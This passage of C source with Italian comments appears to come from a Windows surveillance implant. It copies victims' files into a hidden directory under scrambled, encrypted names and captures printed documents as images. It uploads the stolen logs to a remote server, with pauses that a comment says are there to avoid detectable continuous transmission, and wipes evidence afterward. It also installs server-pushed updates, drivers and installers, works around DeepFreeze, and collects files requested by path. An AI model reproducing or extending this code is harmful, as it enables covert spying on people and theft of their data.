        if (!FNC(ReadFile)(hsrc, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) )
            break;
        // La Log_WriteFile sottrae la quota disco di ogni scrittura
        // Esce perche' quando il file da leggere e' finito dwRead e' 0
        // e Log_WriteFile ritorna FALSE se gli fai scrivere 0 byte
        if (!Log_WriteFile(hdst, temp_buff, dwRead))
            break;
    }

    SAFE_FREE(temp_buff);
    CloseHandle(hsrc);
    CloseHandle(hdst);
    return TRUE;
}

// Crea un file di log di tipo "file capture" vuoto, nel caso non sia stato possibile catturarlo per size 
// Specifica la size nel nome del file stesso
BOOL Log_CryptCopyEmptyFile(WCHAR *src_path, char *dest_file_path, WCHAR *display_name, DWORD existent_file_len, DWORD agent_tag)
{
    HANDLE hdst;
    DWORD dwRead;
    BY_HANDLE_FILE_INFORMATION dst_info;
    DWORD existent_file_size = 0;
    BYTE *file_additional_data;
    BYTE *log_file_header;
    FileAdditionalData *file_additiona_data_header;
    DWORD header_len;
    WCHAR to_display[MAX_PATH];

    if (display_name) 
        _snwprintf_s(to_display, sizeof(to_display)/sizeof(WCHAR), _TRUNCATE, L"%s [%dB]", display_name, existent_file_len);        
    else
        _snwprintf_s(to_display, sizeof(to_display)/sizeof(WCHAR), _TRUNCATE, L"%s [%dB]", src_path, existent_file_len);        

    // Crea l'header da scrivere nel file
    if ( !(file_additional_data = (BYTE *)malloc(sizeof(FileAdditionalData) + wcslen(to_display) * sizeof(WCHAR))))
        return FALSE;
    file_additiona_data_header = (FileAdditionalData *)file_additional_data;
    file_additiona_data_header->uVersion = LOG_FILE_VERSION;
    file_additiona_data_header->uFileNameLen = wcslen(to_display) * sizeof(WCHAR);
    memcpy(file_additiona_data_header+1, to_display, file_additiona_data_header->uFileNameLen);
    log_file_header = Log_CreateHeader(agent_tag, file_additional_data, file_additiona_data_header->uFileNameLen + sizeof(FileAdditionalData), &header_len);
    SAFE_FREE(file_additional_data);
    if (!log_file_header)
        return FALSE;
    
    // Prende le info del file destinazione (se esiste)
    hdst = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hdst != INVALID_HANDLE_VALUE) {
        if (FNC(GetFileInformationByHandle)(hdst, &dst_info)) {
            existent_file_size = dst_info.nFileSizeLow;
        }
        CloseHandle(hdst);
    }

    // Controlla che ci sia ancora spazio per scrivere su disco
    if ((log_free_space + existent_file_size)<= MIN_CREATION_SPACE) {
        SAFE_FREE(log_file_header);
        return FALSE;
    }

    hdst = FNC(CreateFileA)(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
    if (hdst == INVALID_HANDLE_VALUE) {
        SAFE_FREE(log_file_header);
        return FALSE;
    }
    // Se il file e' stato sovrascritto (e con successo) restituisce la quota disco
    // recuperata.
    log_free_space += existent_file_size;

    // Scrive l'header nel file
    if (!FNC(WriteFile)(hdst, log_file_header, header_len, &dwRead, NULL)) {
        CloseHandle(hdst);
        SAFE_FREE(log_file_header);
        return FALSE;
    }
    if (log_free_space >= header_len)
        log_free_space -= header_len;

    SAFE_FREE(log_file_header);
    FNC(FlushFileBuffers)(hdst);
    CloseHandle(hdst);
    return TRUE;
}


// Copia il file nella directory nascosta. Fa un hash del path.
// File con path uguale vengono sovrascritti. Effettua la copia solo
// se la destinazione non ha la stessa data della sorgente.
BOOL Log_CopyFile(WCHAR *src_path, WCHAR *display_name, BOOL empty_copy, DWORD agent_tag)
{
    HANDLE hfile;
    BY_HANDLE_FILE_INFORMATION src_info, dst_info;
    char red_fname[100];
    char log_wout_path[_MAX_FNAME];
    char dest_file_path[DLLNAMELEN];
    char dest_file_mask[DLLNAMELEN];
    char *scrambled_name;
    nanosec_time src_date, dst_date;
    FILETIME time_nanosec;
    //SYSTEMTIME system_time;
    WIN32_FIND_DATA ffdata;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    
    // Prende le informazioni del file sorgente
    hfile = FNC(CreateFileW)(src_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hfile == INVALID_HANDLE_VALUE)
        return FALSE;
    if (!FNC(GetFileInformationByHandle)(hfile, &src_info)) {
        CloseHandle(hfile);
        return FALSE;
    }
    CloseHandle(hfile);

    // Check se e' una directory
    if (src_info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        return FALSE;

    // Vede se la dimensione e' consistente
    if (src_info.nFileSizeHigh>0 || src_info.nFileSizeLow==0) 
        return FALSE;
    
    // fa lo SHA1 del path in red_fname
    SHA1Context sha;
    SHA1Reset(&sha);
    SHA1Input(&sha, (const unsigned char *)src_path, (DWORD)(wcslen(src_path)*2));
    if (!SHA1Result(&sha)) 
        return FALSE;

    memset(red_fname, 0, sizeof(red_fname));
    for (int i=0; i<(SHA_DIGEST_LENGTH/sizeof(int)); i++) 
        sprintf(red_fname+(i*8), "%.8X", sha.Message_Digest[i]);

    // Vede se ha gia' catturato questo file...
    _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "?LOGF%.4X%s*.log", agent_tag, red_fname);
    if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) 
        return FALSE;    
    HM_CompletePath(scrambled_name, dest_file_mask);
    SAFE_FREE(scrambled_name);
    hFind = FNC(FindFirstFileA)(dest_file_mask, &ffdata);
    if (hFind != INVALID_HANDLE_VALUE) {
        //...se l'ha gia' catturato usa il vecchio nome
        HM_CompletePath(ffdata.cFileName, dest_file_path);
        FNC(FindClose)(hFind);
    } else {
        // ...altrimenti gli crea un nome col timestamp attuale
        FNC(GetSystemTimeAsFileTime)(&time_nanosec);
        //FNC(SystemTimeToFileTime)(&system_time, &time_nanosec);    
        _snprintf_s(log_wout_path, sizeof(log_wout_path), _TRUNCATE, "%.1XLOGF%.4X%s%.8X%.8X.log", log_active_queue, agent_tag, red_fname, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
        if ( ! (scrambled_name = LOG_ScrambleName2(log_wout_path, crypt_key[0], TRUE)) ) 
            return FALSE;    
        HM_CompletePath(scrambled_name, dest_file_path);
        SAFE_FREE(scrambled_name);
    }

    // Prende le info del file destinazione (se esiste)
    hfile = FNC(CreateFileA)(dest_file_path, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);
    if (hfile != INVALID_HANDLE_VALUE) {
        if (!FNC(GetFileInformationByHandle)(hfile, &dst_info)) {
            CloseHandle(hfile);
            return FALSE;
        }
        CloseHandle(hfile);

        // Compara le date dei due file (evita riscritture dello stesso file)
        src_date.hi_delay = src_info.ftLastWriteTime.dwHighDateTime;
        src_date.lo_delay = src_info.ftLastWriteTime.dwLowDateTime;
        dst_date.hi_delay = dst_info.ftLastWriteTime.dwHighDateTime;
        dst_date.lo_delay = dst_info.ftLastWriteTime.dwLowDateTime;
        if (!IsGreaterDate(&src_date, &dst_date)) 
            return FALSE;
    }
    
    // Se non doveva essere copiato tutto per via della size...
    if (empty_copy) {
        if (!Log_CryptCopyEmptyFile(src_path, dest_file_path, display_name, src_info.nFileSizeLow, agent_tag)) 
            return FALSE;
        return TRUE;
    }

    // Effettua la vera copia.
    if (!Log_CryptCopyFile(src_path, dest_file_path, display_name, agent_tag)) 
        return FALSE;

    return TRUE;
}

// Scrive in un file di log.
// Controlla la quota disco
// Torna TRUE se ha successo
// E' conforme al nuovo formato di log (lunghezza in cleartext + blocco cifrato)
BOOL Log_WriteFile(HANDLE handle, BYTE *clear_buffer, DWORD clear_len)
{
    DWORD dwTmp;
    BOOL ret_val;
    DWORD crypt_len = 0;
    BYTE *crypt_buffer = NULL;

    // Controlla che la richiesta sia valida
    if (handle == INVALID_HANDLE_VALUE || clear_len == 0 || clear_buffer == NULL)
        return FALSE;

    // Offusca il buffer. La funzione torna una copia del buffer
    // gia' offuscata, e la dimensione di essa. La copia va
    // liberata (se e' stata allocata).
    crypt_buffer = LOG_Obfuscate(clear_buffer, clear_len, &crypt_len);

    // Controlla lo spazio disco rimasto e che la cifratura
    // sia andata a buon fine
    if (!crypt_buffer || crypt_len > log_free_space) {
        SAFE_FREE(crypt_buffer);
        return FALSE;
    }

    ret_val = FNC(WriteFile)(handle, crypt_buffer, crypt_len, &dwTmp,  NULL);
    SAFE_FREE(crypt_buffer);

    // Se ha scritto con successo, diminuisce lo spazio residuo
    // XXX Potrebbe esserci una race condition e log_free_space 
    // diventerebbe enorme...(abbastanza remoto)
    // Col doppio check diminuisco le possiblita' di race 
    // condition ulteriormente.
    if (ret_val && crypt_len<=log_free_space)
        log_free_space -= crypt_len;

    // Cancellata per questioni di performance di skype
    //FNC(FlushFileBuffers)(handle);

    return ret_val;
}


// Elimina da una stringa tutti i caratteri non 
// alfanumerici
void Log_Sanitize(char *name)
{
    unsigned char *ptr;
    for(ptr=(unsigned char *)name; *ptr!=0; ptr++)
        if (*ptr != ' ' && *ptr != '-' && *ptr != '.' && *ptr != '@' && *ptr != '+') 
            if (*ptr<'0' || (*ptr>'9' && *ptr<'A') || (*ptr>'Z' && *ptr<'a') || *ptr>'z')
                *ptr = ' ';
}


// Cancella i log troppo vecchi o troppo "ciccioni"
#define SECS_TO_FT_MULT 10000000
void LOG_Purge(long long f_time, DWORD size)
{
    char log_file_path[DLLNAMELEN];
    WIN32_FIND_DATA FindFileData;
    char DirSpec[DLLNAMELEN];  
    char *scrambled_search;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    LARGE_INTEGER li;  
    FILETIME ft;
    
    if (f_time==0 && size==0)
        return;

    li.QuadPart = (f_time + 0x00000002b6109100) * SECS_TO_FT_MULT;
    ft.dwLowDateTime = li.LowPart;
    ft.dwHighDateTime = li.HighPart;

    scrambled_search = LOG_ScrambleName2("*.log", crypt_key[0], TRUE);
    if (!scrambled_search)
        return;

    HM_CompletePath(scrambled_search, DirSpec);
    SAFE_FREE(scrambled_search);

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if ( (size && (FindFileData.nFileSizeHigh>0 || FindFileData.nFileSizeLow>=size)) ||
                (f_time && IsNewerDate(&ft, &FindFileData.ftCreationTime))) {
                HM_CompletePath(FindFileData.cFileName, log_file_path);
                HM_WipeFileA(log_file_path);
            }
        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }

    // XXX Cerca anche il purge per i log con il vecchio scrambling...
    scrambled_search = LOG_ScrambleName("*.log", crypt_key[0], TRUE);
    if (!scrambled_search)
        return;

    HM_CompletePath(scrambled_search, DirSpec);
    SAFE_FREE(scrambled_search);

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if ( (size && (FindFileData.nFileSizeHigh>0 || FindFileData.nFileSizeLow>=size)) ||
                (f_time && IsNewerDate(&ft, &FindFileData.ftCreationTime))) {
                HM_CompletePath(FindFileData.cFileName, log_file_path);
                HM_WipeFileA(log_file_path);
            }
        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }
}


// Scambia la coda di log attiva con quella inattiva
void Log_SwitchQueue()
{
    char search_mask[64];
    char *scrambled_search;
    char DirSpec[DLLNAMELEN];
    char DestSpec[DLLNAMELEN];
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    // La coda attiva e' sempre la 0!
    log_active_queue = 0;

    sprintf(search_mask, "%.1XLOG*.log", log_active_queue);
    scrambled_search = LOG_ScrambleName2(search_mask, crypt_key[0], TRUE);
    if (!scrambled_search)
        return;

    // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati
    // quindi posso usare le wildcard).
    HM_CompletePath(scrambled_search, DirSpec);
    SAFE_FREE(scrambled_search);

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            HM_CompletePath(FindFileData.cFileName, DirSpec); // Nome File sorgente in DirSpec
            memcpy(DestSpec, DirSpec, sizeof(DestSpec));
            scrambled_search = LOG_ScrambleName2("1", crypt_key[0], TRUE);
            if (!scrambled_search)
                break;

            char *q = strrchr(DestSpec, '\\');
            if (q) {
                q++;
                *q = scrambled_search[0]; // Nome File destinazione in DestSpec
                SAFE_FREE(scrambled_search);
            } else {
                SAFE_FREE(scrambled_search);
                break;
            }
            MoveFile(DirSpec, DestSpec);                    

        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }

    // XXX Cerca di switchare anche i log con il vecchio scrambling
    sprintf(search_mask, "%.1XLOG*.log", log_active_queue);
    scrambled_search = LOG_ScrambleName(search_mask, crypt_key[0], TRUE);
    if (!scrambled_search)
        return;

    // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati
    // quindi posso usare le wildcard).
    HM_CompletePath(scrambled_search, DirSpec);
    SAFE_FREE(scrambled_search);

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            HM_CompletePath(FindFileData.cFileName, DirSpec); // Nome File sorgente in DirSpec
            memcpy(DestSpec, DirSpec, sizeof(DestSpec));
            scrambled_search = LOG_ScrambleName("1", crypt_key[0], TRUE);
            if (!scrambled_search)
                break;

            char *q = strrchr(DestSpec, '\\');
            if (q) {
                q++;
                *q = scrambled_search[0]; // Nome File destinazione in DestSpec
                SAFE_FREE(scrambled_search);
            } else {
                SAFE_FREE(scrambled_search);
                break;
            }
            MoveFile(DirSpec, DestSpec);                    

        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }
}

// Funzione esportata per permettere di loggare una bitmap 
#include "HM_BitmapCommon.h"
typedef struct _PrintAdditionalData {
    UINT uVersion;
        #define LOG_PRINT_VERSION 2009031201
    UINT uDocumentNameLen;
} PrintAdditionalData;

void __stdcall Log_PrintDC(WCHAR *doc_name, HDC print_dc, HBITMAP print_bmp, DWORD x_dim, DWORD y_dim)
{
    BITMAPINFOHEADER bmiHeader;
    DWORD *pdwFullBits = NULL;
    HDC safe_dc, g_hScrDC;
    HBITMAP safe_bmp;
    PrintAdditionalData *print_additional_header;
    BYTE *log_header;
    DWORD additional_len;

    // Crea un DC e una bitmap compatibili con lo schermo 
    if ( !(g_hScrDC = CreateDC("DISPLAY", NULL, NULL, NULL)) )
        return;
    safe_dc = CreateCompatibleDC(NULL);
    safe_bmp = CreateCompatibleBitmap(g_hScrDC, x_dim, y_dim);
    DeleteDC(g_hScrDC);
    SelectObject(safe_dc, safe_bmp);

    // Alloca la bitmap di dimensione sicuramente superiore a quanto sara' 
    if ( !(pdwFullBits = (DWORD *)malloc(x_dim * y_dim * sizeof(DWORD))) )
        return;

    // Copia il print_memory_dc nel dc compatibile con lo schermo
    // per l'acquisizione in bitmap
    //BitBlt(safe_dc, 0, 0, x_dim, y_dim, print_dc, 0, 0, SRCCOPY);
    // Settaggi per il capture dello screen
    ZeroMemory(&bmiHeader, sizeof(BITMAPINFOHEADER));
    bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
    bmiHeader.biWidth = x_dim;
    bmiHeader.biHeight = y_dim;
    bmiHeader.biPlanes = 1;
    bmiHeader.biBitCount = 24;
    bmiHeader.biCompression = BI_RGB;

    FNC(GetDIBits)(print_dc, print_bmp, 0, y_dim, pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS);
    SetDIBits(safe_dc, safe_bmp, 0, y_dim, pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS);

    bmiHeader.biBitCount = 16;
    bmiHeader.biSizeImage = bmiHeader.biWidth * bmiHeader.biHeight * (bmiHeader.biBitCount/8);

    // Prende il contenuto del DC
    if (FNC(GetDIBits)(safe_dc, safe_bmp, 0, y_dim, pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS)) {    
        additional_len = sizeof(PrintAdditionalData) + wcslen(doc_name)*sizeof(WCHAR);
        log_header = (BYTE *)malloc(additional_len);
        if (log_header) {
            // Crea l'header addizionale
            print_additional_header = (PrintAdditionalData *)log_header;
            print_additional_header->uVersion = LOG_PRINT_VERSION;
            print_additional_header->uDocumentNameLen = wcslen(doc_name)*sizeof(WCHAR);
            log_header+=sizeof(PrintAdditionalData);
            memcpy(log_header, doc_name, print_additional_header->uDocumentNameLen);

            //Output su file
            BmpToJpgLog(PM_PRINTAGENT, (BYTE *)print_additional_header, additional_len, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, 50);
            SAFE_FREE(print_additional_header);
        }
    }

    // Rilascio oggetti....
    if (safe_bmp) DeleteObject(safe_bmp);
    if (safe_dc) DeleteDC(safe_dc);
    SAFE_FREE(pdwFullBits);
}


//------------------- FUNZIONI PER LA SPEDIZIONE DEI LOG ---------------

BOOL LOG_SendOutputCmd(DWORD band_limit, DWORD min_sleep, DWORD max_sleep)
{
    char log_file_path[DLLNAMELEN];
    WIN32_FIND_DATA FindFileData;
    char DirSpec[DLLNAMELEN];  
    char *scrambled_search;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    DWORD log_count = 0;
    UINT64 log_size = 0;

    scrambled_search = LOG_ScrambleName2("OUTF*.log", crypt_key[0], TRUE);
    if (!scrambled_search)
        return FALSE;

    HM_CompletePath(scrambled_search, DirSpec);
    SAFE_FREE(scrambled_search);

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind == INVALID_HANDLE_VALUE) 
        return TRUE;
    do {
        if (FindFileData.nFileSizeLow>0) {
            log_count++;
            log_size+=FindFileData.nFileSizeLow;
        }
    } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
    FNC(FindClose)(hFind);

    if (log_count>0)
        if (!ASP_SendStatus(log_count, log_size))
            return FALSE;

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            HM_CompletePath(FindFileData.cFileName, log_file_path);
            if (IsCrisisNetwork()) 
                break;
            if (FindFileData.nFileSizeLow==0 || ASP_SendLog(log_file_path, band_limit)) {
                HM_WipeFileA(log_file_path);
                LOG_SendPause(min_sleep, max_sleep);
            }
        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }
    return TRUE;
}

// Invia la coda dei log al server
// I file vuoti vengono semplicemente cancellati
// Il band limit e' in byte al secondo
BOOL LOG_SendLogQueue(DWORD band_limit, DWORD min_sleep, DWORD max_sleep)
{
    char log_file_path[DLLNAMELEN];
    WIN32_FIND_DATA FindFileData;
    char DirSpec[DLLNAMELEN];  
    char *scrambled_search;
    char search_mask[64];
    log_list_struct *log_list;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    DWORD tmp_free_space;
    DWORD log_count = 0;
    UINT64 log_size = 0;

    // Cerca tutti i file di tipo "1/0LOG*.log", sia LOG_, sia LOGF_
    // Sono i nuovi tipi di log
    sprintf(search_mask, "%.1XLOG*.log", !log_active_queue);
    scrambled_search = LOG_ScrambleName2(search_mask, crypt_key[0], TRUE);
    if (!scrambled_search)
        return FALSE;
    // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati
    // quindi posso usare le wildcard).
    HM_CompletePath(scrambled_search, DirSpec);
    SAFE_FREE(scrambled_search);

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            InsertLogList(&log_list_head, &FindFileData);
            if (FindFileData.nFileSizeLow > 0) {
                log_count++;
                log_size += FindFileData.nFileSizeLow;
            }
        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }

    // Cerca anche i log con il vecchio scrambling...
    sprintf(search_mask, "%.1XLOG*.log", !log_active_queue);
    scrambled_search = LOG_ScrambleName(search_mask, crypt_key[0], TRUE);
    if (!scrambled_search)
        return FALSE;
    // Effettua la ricerca dei nomi dei file scramblati (* e . rimangono invariati
    // quindi posso usare le wildcard).
    HM_CompletePath(scrambled_search, DirSpec);
    SAFE_FREE(scrambled_search);

    hFind = FNC(FindFirstFileA)(DirSpec, &FindFileData);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            InsertLogList(&log_list_head, &FindFileData);
            if (FindFileData.nFileSizeLow > 0) {
                log_count++;
                log_size += FindFileData.nFileSizeLow;
            }
        } while (FNC(FindNextFileA)(hFind, &FindFileData) != 0);
        FNC(FindClose)(hFind);
    }

    if (log_count>0) {
        if (!ASP_SendStatus(log_count, log_size)) {
            FreeLogList(&log_list_head);
            ASP_Bye();
            return FALSE;
        }
    }

    // Scorre la lista dei file di log ordinata per data
    log_list = log_list_head;
    for(log_list = log_list_head; log_list; log_list = log_list->next) {            
        HM_CompletePath(log_list->file_name, log_file_path);

        // Se un file e' vuoto, lo cancella e basta
        if (log_list->size == 0) {
            HM_WipeFileA(log_file_path);
            continue;
        }

        // Se siamo in stato di crisi non invia neanche il BYE
        if (IsCrisisNetwork()) {
            FreeLogList(&log_list_head);
            return FALSE;
        }

        // Invia il log 
        if (!ASP_SendLog(log_file_path, band_limit)) {
            if (GetLogSize(log_file_path) > LOG_SIZE_MAX) {
                HM_WipeFileA(log_file_path);
                tmp_free_space = log_free_space + log_list->size;
                if (tmp_free_space > log_free_space) 
                    log_free_space = tmp_free_space;
            }
            FreeLogList(&log_list_head);
            ASP_Bye(); // Se fallisce con PROTO_NO chiude correttamente la sessione
            return FALSE;
        }

        // Cancella il log appena inviato
        HM_WipeFileA(log_file_path); 

        // Restituisce lo spazio disco (evitando overflow dovuti a race)
        tmp_free_space = log_free_space + log_list->size;
        if (tmp_free_space > log_free_space) // la somma deve solo che farlo aumentare
            log_free_space = tmp_free_space;

        // Fa una pausa per evitare che sia rilevabile una trasmissione
        // di dati continua
        LOG_SendPause(min_sleep, max_sleep);
    }
    FreeLogList(&log_list_head);
    ASP_Bye();
    return TRUE;
}

// Se in wildpath e' presente una wildcard la sosituisce con file_name
// e mette comunque tutto in dest_path.
// Torna dest_path.
WCHAR *LOG_CompleteWild(WCHAR *wild_path, WCHAR *file_name, WCHAR *dest_path)
{
    WCHAR *wild_ptr;
    
    dest_path[0] = 0; // Termina per sicurezza paranoica...
    wcscpy(dest_path, wild_path);
    wild_ptr = wcsrchr(dest_path, L'\\');
    // Sostituisce all'ultimo slash
    if (wild_ptr) {
        wild_ptr++;
        wcscpy(wild_ptr, file_name);
    }

    return dest_path;
}

void UpdateDriver(char *source_path)
{
    char sys_path[DLLNAMELEN];
    char comp_path[DLLNAMELEN*2];
    PVOID old_value;
    /*
    if (!IsDriverRunning(DRIVER_NAME_W))
        return;
    
    if (!FNC(GetEnvironmentVariableA)("SystemRoot", sys_path, sizeof(sys_path)))
        return;
    sprintf(comp_path, "%s%s%s", sys_path, "\\system32\\drivers\\", DRIVER_NAME);
    
    old_value = DisableWow64Fs();
    CopyFile(source_path, comp_path, FALSE);    
    RevertWow64Fs(old_value);*/
}

// I file uploadati vengono messi nella working dir.
// Torna FALSE se qualcosa fallisce.
// Gestisce anche la ricezione del codec e degli update.
// Gestisce anche gli upgrade
BOOL LOG_HandleUpload(BOOL is_upload)
{
    WCHAR file_name[MAX_PATH];
    char c_file_name[MAX_PATH];
    char s_file_path[MAX_PATH];
    char d_file_path[MAX_PATH];
    DWORD upload_left;

    do {
        if (IsCrisisNetwork())
            return FALSE;

        if (!ASP_GetUpload(is_upload, file_name, sizeof(file_name), &upload_left))
            return FALSE;

        if (is_upload)
            continue;
        // Se si tratta di upgrade cerca di capire cosa sono....

        _snprintf_s(c_file_name, sizeof(c_file_name), "%S", file_name);
        if(!strcmp(c_file_name, COMMON_CODEC_NAME))   {
            CopyFile(HM_CompletePath(COMMON_CODEC_NAME, s_file_path), HM_CompletePath(H4_CODEC_NAME, d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_UPDATE_NAME)) { 
            if (CopyFile(HM_CompletePath(COMMON_UPDATE_NAME, s_file_path), HM_CompletePath(H4_UPDATE_FILE, d_file_path), FALSE)) {
                HM_InsertRegistryKey(H4_UPDATE_FILE, TRUE);
                if (IsDeepFreeze()) {
                    HideDevice dev_df;
                    DFFixCore(&dev_df, (unsigned char *)H4_UPDATE_FILE, (unsigned char *)H4_HOME_PATH, (unsigned char *)REGISTRY_KEY_NAME, TRUE);
                }
            }
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));
        } else if(!strcmp(c_file_name, COMMON_UPDATE64_NAME)) {
            Kill64Core();
            Sleep(1000); // Aspetta in caso la dll64 sia in qualche thread di hooking
            CopyFile(HM_CompletePath(COMMON_UPDATE64_NAME, s_file_path), HM_CompletePath(H64DLL_NAME, d_file_path), FALSE);
            Run64Core();
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_MOBILE_CORE_NAME)) {
            CopyFile(HM_CompletePath(COMMON_MOBILE_CORE_NAME, s_file_path), HM_CompletePath(H4_MOBCORE_NAME, d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_MOBILE_ZOO_NAME)) {
            CopyFile(HM_CompletePath(COMMON_MOBILE_ZOO_NAME, s_file_path), HM_CompletePath(H4_MOBZOO_NAME, d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_RAPI_NAME)) {
            CopyFile(HM_CompletePath(COMMON_RAPI_NAME, s_file_path), HM_CompletePath("rapi.dll", d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_SQLITE_NAME)) {
            CopyFile(HM_CompletePath(COMMON_SQLITE_NAME, s_file_path), HM_CompletePath("sqlite.dll", d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_EXE_INSTALLER_NAME)) {
            CopyFile(HM_CompletePath(COMMON_EXE_INSTALLER_NAME, s_file_path), HM_CompletePath(EXE_INSTALLER_NAME, d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_DRV32_NAME)) {
            if (!IsX64System()) {
                CopyFile(HM_CompletePath(COMMON_DRV32_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME, d_file_path), FALSE);
                UpdateDriver(d_file_path);
            } else
                CopyFile(HM_CompletePath(COMMON_DRV32_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME_ALT, d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else if(!strcmp(c_file_name, COMMON_DRV64_NAME)) {
            if (IsX64System()) {
                CopyFile(HM_CompletePath(COMMON_DRV64_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME, d_file_path), FALSE);
                UpdateDriver(d_file_path);
            } else
                CopyFile(HM_CompletePath(COMMON_DRV64_NAME, s_file_path), HM_CompletePath(H4DRIVER_NAME_ALT, d_file_path), FALSE);
            DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        } else {
            HM_CompletePath(c_file_name, d_file_path);
        }

        // Se non e' uno degli altri file noti lo cancella...
        //if (strcmp(c_file_name, BB_INSTALL_NAME2) && strncmp(c_file_name, BB_INSTALL_NAME1, 5))
        DeleteFile(HM_CompletePath(c_file_name, s_file_path));

        // Se c'e' DeepFreeze fixa i file 
        if (IsDeepFreeze()) {
            HideDevice dev_df;
            WCHAR dest_path[MAX_PATH];
            swprintf(dest_path, L"%S", d_file_path);
            DFFixFile(&dev_df, dest_path);
        }

    } while(upload_left > 0);

    return TRUE;
}

// Gestisce le richieste di download (creando dei log di quel tipo)
BOOL LOG_HandleDownload()
{
    WCHAR **download_array;
    DWORD num_download;
    DWORD i;
    WCHAR path_expanded[MAX_PATH];
    WCHAR path_expand_complete[MAX_PATH*2];
    WCHAR path_expand_display[MAX_PATH*2];
    WIN32_FIND_DATAW find_data;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    // Tutti gli elementi di download_array andranno liberati
    if (!ASP_GetDownload(&num_download, &download_array))
        return FALSE;

    for (i=0; i<num_download; i++) {
        // Espande eventuali variabili d'ambiente
        // La stringa risultante e' NULL terminata per certo
        // (come quella di partenza).
        if (!HM_ExpandStringsW(download_array[i], path_expanded, sizeof(path_expanded)/sizeof(WCHAR)))
            wcscpy(path_expanded, download_array[i]);

        // Cicla nel caso ci siano delle wildcards
        hFind = FNC(FindFirstFileW)(path_expanded, &find_data);
        if (hFind != INVALID_HANDLE_VALUE) {
            do {
                // Salta le directory
                if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                    continue;

                // Sostituisce la wildcard (se presente)
                LOG_CompleteWild(path_expanded, find_data.cFileName, path_expand_complete);
                LOG_CompleteWild(download_array[i], find_data.cFileName, path_expand_display);
                
                // Crea il log di tipo download
                CopyDownloadFile(path_expand_complete, path_expand_display);
            } while (FNC(FindNextFileW)(hFind, &find_data) != 0);
            FNC(FindClose)(hFind);
        }

        // Libera quell'elemento dell'array allocato da ASP_GetDownload
        SAFE_FREE(download_array[i]);
    }

    SAFE_FREE(download_array);
    return TRUE;
}

// Gestisce le richieste di filesystem (creando dei log di quel tipo)
BOOL LOG_HandleFileSystem()
{
